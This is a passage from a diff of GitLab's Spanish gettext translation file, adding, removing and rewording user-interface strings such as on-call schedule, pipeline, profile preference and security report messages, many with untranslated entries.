msgid "NotificationEvent|Merge merge request"
msgstr "Integrar solicitud de fusión"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Nueva tarea épica"
@@ -18505,6 +18932,9 @@ msgstr "Nueva nota"
msgid "NotificationEvent|New release"
msgstr "Nueva versión"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Reasignar incidencia"
@@ -18514,6 +18944,9 @@ msgstr "Reasignar solicitud de fusión"
msgid "NotificationEvent|Reopen issue"
msgstr "Reabrir incidencia"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Pipeline exitoso"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr "Crear un nuevo escaneo DAST"
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "Una vez importados, los repositorios se pueden replicar vía de SSH. Para obtener más información, haga clic %{link_start}aquí%{link_end}."
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr "Uno o más de sus tokens de acceso personal han sido revocados"
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "No se ha sido posible importar uno o más de sus proyectos de Google Code a GitLab porque utilizan Subversion o Mercurial como sistema de control de versiones, en lugar de Git."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr "Uno o más de sus archivos de dependencias no son compatibles, y la lista de dependencias puede estar incompleta. A continuación se muestra una lista de los tipos de archivos compatibles."
@@ -18813,6 +19270,9 @@ msgstr "Incidencias abiertas"
msgid "Open raw"
msgstr "Abrir raw"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Abrir barra lateral"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Opcionalmente, puede %{link_to_customize} cómo se importan en Gitlab las direcciones de correo y los nombres de usuario de FogBugz."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "Opcionalmente, puede %{link_to_customize} cómo se importan en Gitlab las direcciones de correo y los nombres de usuario de Google Code."
-
msgid "Options"
msgstr "Opciones"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr "Deshacer indentación"
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr "Reemplazado"
@@ -19083,6 +19543,9 @@ msgstr "Para obtener más información sobre el registro de NuGet , %{linkStart}
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Para obtener más información sobre el registro PyPiPi, %{linkStart}vea la documentación%{linkEnd}."
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Si todavía no lo ha hecho, necesitará añadir lo siguiente a su archivo %{codeStart}.pypirc%{codeEnd}."
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr "Conan"
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr "Maven"
@@ -19221,9 +19687,6 @@ msgstr "Página no encontrada"
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr "Página eliminada correctamente"
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Programaciones de los Pipelines"
msgid "Pipeline minutes quota"
msgstr "Cuota de minutos del pipeline"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr "Cargar pipelines"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "Caché del proyecto restablecida correctamente."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr "Ejecutar Pipeline"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Se ha producido un error durante el proceso de limpieza de la memoria caché de los runners."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr "Por favor, elija una URL de grupo sin caracteres especiales."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete su perfil con una dirección de correo electrónico"
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "Por favor, conviértalo a Git en Google Code, y diríjase de nuevo a %{link_to_import_flow}."
-
msgid "Please create a password for your new account."
msgstr "Por favor, cree una nueva contraseña para su cuenta."
@@ -20064,18 +20539,12 @@ msgstr "Seleccione que contenido desea ver en la página de resumen de un proyec
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Personalice la apariencia del encabezado de la aplicación y la barra de navegación lateral."
msgid "Preferences|Display time in 24-hour format"
msgstr "Mostrar tiempo en formato 24 horas"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr "Por ejemplo: hace 30 minutos."
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr "Integraciones"
-
msgid "Preferences|Layout width"
msgstr "Ancho de diseño"
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "Tema del resaltado de la sintaxis"
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Perfil"
msgid "Profile Settings"
msgstr "Configuración del perfil"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "Encendido"
@@ -20304,6 +20788,9 @@ msgstr "Está a punto de eliminar permanentemente %{yourAccount}, y todas las in
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Está a punto de renombrar el usuario %{currentUsernameBold} a %{newUsernameBold}. El perfil del usuario y los proyectos serán redirigidos al espacio de nombres %{newUsername} pero este redireccionamiento caducará una vez que otro usuario o grupo registre el %{currentUsername}. Por favor, actualice los remotos de su repositorio Git tan pronto como sea posible."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "El avatar será eliminado, ¿está seguro?"
msgid "Profiles|Bio"
msgstr "Bio"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Cambiar el nombre de usuario"
@@ -20691,9 +21181,6 @@ msgstr "Avatar del proyecto"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr "No se puede compartir el proyecto con el grupo en el que está o con uno de sus grupos padre."
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "Habilitar la opción 'Eliminar rama de origen' por defecto"
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "Interno"
@@ -21048,9 +21541,6 @@ msgstr "Pages para la documentación del proyecto"
msgid "ProjectSettings|Pipelines"
msgstr "Pipelines"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "La ejecución debe finalizar correctamente"
@@ -21072,6 +21562,12 @@ msgstr "Repositorio"
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr "Ver y editar archivos en este proyecto"
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "Cuando surgen conflictos, al usuario se le da la opción de realizar un rebase"
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Promocionar la incidencia a una tarea épica"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Promocionar a etiqueta de grupo"
@@ -21837,6 +22339,9 @@ msgstr "Eventos Push"
msgid "Push project from command line"
msgstr "Hacer push al proyecto desde línea de comando"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "Push para crear un proyecto"
@@ -21990,6 +22495,9 @@ msgstr "Codigos de recuperacion"
msgid "Redirect to SAML provider to test configuration"
msgstr "Redirigir al proveedor de SAML para probar la configuración"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "Reduce la visibilidad del proyecto"
@@ -22073,9 +22581,6 @@ msgstr "Su perfil"
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Versiones"
@@ -22177,9 +22685,6 @@ msgstr "Se ha producido un error al guardar los detalles de la versión"
msgid "Remediations"
msgstr "Remediaciones"
-msgid "Remember me"
-msgstr "Recordar mis datos acceso"
-
msgid "Remind later"
msgstr "Recordar después"
@@ -22384,9 +22889,6 @@ msgstr "Elimina la fecha de vencimiento."
msgid "Removes time estimate."
msgstr "Elimina el tiempo estimado."
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr "Renombrar/Mover"
msgid "Reopen"
msgstr "Volver a abrir"
-msgid "Reopen %{display_issuable_type}"
-msgstr "Volver a abrir %{display_issuable_type}"
+msgid "Reopen %{issueType}"
+msgstr ""
msgid "Reopen epic"
msgstr "Reabrir la tarea épica"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Reabrir hito"
@@ -22489,6 +22988,14 @@ msgstr "Informes"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr "Nombre de la clase"
msgid "Reports|Execution time"
msgstr "Tiempo de ejecución"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr "Fallo"
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Repositorio"
@@ -22635,6 +23156,9 @@ msgstr "Limpieza del repositorio"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "Ha comenzado la limpieza del repositorio. Recibirá un correo electrónico una vez que la operación de limpieza haya finalizado."
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr "Los archivos del repositorio están por encima del límite"
@@ -22668,10 +23192,10 @@ msgstr "Repositorio de objetos estáticos"
msgid "Repository storage"
msgstr "Almacenamiento del repositorio"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr "Reenviar invitación"
msgid "Resend it"
msgstr "Reenviarlo"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "Reiniciar la clave de autorización"
msgid "Reset authorization key?"
msgstr "¿Reiniciar la clave de autorización?"
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Restablecer el token de acceso de verificación de estado"
@@ -22921,6 +23451,9 @@ msgstr "Resincronizar todo %{replicableType}"
msgid "Retry"
msgstr "Reintentar"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Reintentar este trabajo"
@@ -22959,6 +23492,9 @@ msgstr "Ver la última aplicación"
msgid "Review requested from %{name}"
msgstr "Revisión solicitada por %{name}"
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Revise el proceso de configuración de los proveedores de servicios de su proveedor de identidad; en este caso, GitLab es el \"proveedor de servicios\" o la \"parte confiante\"."
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Revisando"
@@ -23048,6 +23587,9 @@ msgstr "Ejecutar trabajos no etiquetados"
msgid "Runner cannot be assigned to other projects"
msgstr "No se puede asignar el ejecutor a otros proyectos"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "El ejecutor ejecuta los trabajos de todos los proyectos desasignados"
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr "Guardar cambios"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "Guardar de todos modos"
-
msgid "Save application"
msgstr "Guardar aplicación"
@@ -23273,7 +23800,7 @@ msgstr "Guardar la contraseña"
msgid "Save pipeline schedule"
msgstr "Guardar programación del pipeline"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr "Puntuación"
-
msgid "Scroll down"
msgstr "Desplazar hacia abajo"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Desplazar hacia la izquierda"
@@ -23441,6 +23962,9 @@ msgstr "Buscar proyectos"
msgid "Search projects..."
msgstr "Buscar proyectos..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr "Requisitos de búsqueda"
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr "en"
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr "de %{link_to_project}"
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr "False positivo"
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr "Ocultar descartados"
@@ -23912,6 +24439,12 @@ msgstr "Ver métricas"
msgid "See the affected projects in the GitLab admin panel"
msgstr "Ver los proyectos afectados en el panel de administración de GitLab"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr "Seleccione el proyecto para elegir la zona"
msgid "Select projects"
msgstr "Seleccione los proyectos"
-msgid "Select projects you want to import."
-msgstr "Seleccione qué proyectos desea importar."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr "Establece el número máximo de minutos de pipeline que un grupo puede u
msgid "Set the milestone to %{milestone_reference}."
msgstr "Establecer el hito a %{milestone_reference}."
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Configure su proyecto para hacer push o pull de los cambios de manera automática a/desde otro repositorio. Los branchs, los tags y los commits se sincronizarán automáticamente."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "Establecer el peso"
msgid "Set weight to %{weight}."
msgstr "Establecer el peso a %{weight}."
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "establecer una contraseña"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Añadir emoji de estado"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Borrar estado"
@@ -24455,6 +24988,9 @@ msgstr "Establecer estado"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Lo sentimos, no hemos podido establecer su estado. Por favor, inténtelo de nuevo más tarde."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "¿Cuál es su estado?"
@@ -24551,9 +25087,6 @@ msgstr "Transacciones de Sherlock"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "Mostrar toda la actividad"
@@ -24608,14 +25141,17 @@ msgstr "Mostrar la última versión"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
-msgstr "Muéstrame cosas más avanzadas"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
+msgstr ""
msgid "Show only direct members"
msgstr "Mostrar solo los miembros directos"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Mostrando %d evento"
msgstr[1] "Mostrando %d eventos"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,11 +25277,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restricciones de registro"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "El nombre es demasiado largo (el tamaño máximo permitido es de %{max_length} caracteres)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "Los apellidos son demasiado largos (el tamaño máximo permitido es de %{max_length} caracteres)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "El nombre de usuario es demasiado largo (el tamaño máximo permitido es de %{max_length} caracteres)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr "Omitido"
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Aplicación Slack"
@@ -24903,9 +25448,6 @@ msgstr "Algunos servidores de correo electrónico no permiten sobreescribir el n
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr "Es posible que algunas de sus tareas épicas no estén visibles. La hoja de ruta está limitada a las primeras 1.000 tareas épicas, utilizando el orden de clasificación seleccionado."
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr "Alguien editó esta incidencia al mismo tiempo que usted. Por favor revise %{linkStart} esta incidencia%{linkEnd} y asegúrese de que los cambios que ha realizado no eliminen sin querer los cambios realizados por la otra persona."
@@ -24951,8 +25493,8 @@ msgstr "Se ha producido un error al aplicar la sugerencia. Por favor, inténtelo
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Algo salió mal al cerrar la incidencia %{issuable}. ¡Por favor, inténtelo de nuevo!"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
@@ -25032,11 +25574,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr "Se ha producido un error al realizar la acción."
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Algo salió mal al volver a abrir la incidencia %{issuable}. ¡Por favor, inténtelo de nuevo!"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Algo salió mal al resolver esta discusión. ¡Por favor, inténtelo de nuevo!"
@@ -25317,10 +25862,10 @@ msgstr "Esta característica es experimental y está limitada a proyectos públi
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "Esta característica es experimental."
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "Usa %{link_start}}sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr "Especifique un patrón para la expresión regular de direcciones de corr
msgid "Specify the following URL during the Runner setup:"
msgstr "Especifique la siguiente dirección URL durante la configuración del ejecutor:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr "Modificar el mensaje de commit"
@@ -25461,9 +26009,6 @@ msgstr "Iniciar el hilo y cerrar %{noteable_name}"
msgid "Start thread & reopen %{noteable_name}"
msgstr "Iniciar el hilo y volver a abrir %{noteable_name}"
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr "Comience su prueba Gold gratuita"
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr "Manténgase informado sobre el rendimiento y la salud de su entorno mediante la configuración dePrometheus para monitorizar sus despliegues."
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
